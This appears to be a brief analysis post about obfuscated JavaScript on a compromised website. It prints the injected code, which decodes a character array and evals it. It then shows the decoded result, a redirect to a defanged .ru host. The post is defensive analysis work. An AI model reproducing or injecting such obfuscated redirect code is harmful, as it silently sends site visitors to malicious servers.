The following url : regioneconomrazvitie[.]ru/border[.]htm -> Redirect to http://secondhand4u[.]ru:8080/forum/links/column[.]php I've tweaked the original code so that it's easier to read. if(020===0x10) v="val"; try{ }catch(btawetb){ try{ fve^v }catch(btawt4){ e=window["eval"]; } } if(1){ f=new Array(118,96,112,49,60,50,57,58,8,118,96,112,50,60,116,97,113,47,59,9,103,102,39,116,97,113,47,61,60,116,97,113,48,41,31,121,100,110,97,117,108,99,110,115,44,108,110,97,97,115,103,111,109,59,34,103,114,116,111,56,47,46,113,101,98,109,110,99,102,97,109,98,52,116,44,114,116,56,56,47,54,48,46,100,111,113,115,109,46,106,105,109,105,115,46,97,111,107,115,109,109,44,112,103,110,34,58,123); } s=[]; for(i=0;-i+108!=0;i+=1){ j=i; if(1) s=s+String.fromCharCode((1*f[j]+j%3)); } alert(s); My alert will show the following var1=49; var2=var1; if(var1==var2) {document.location="http://secondhand4u[.]ru:8080/forum/links/column[.]php";}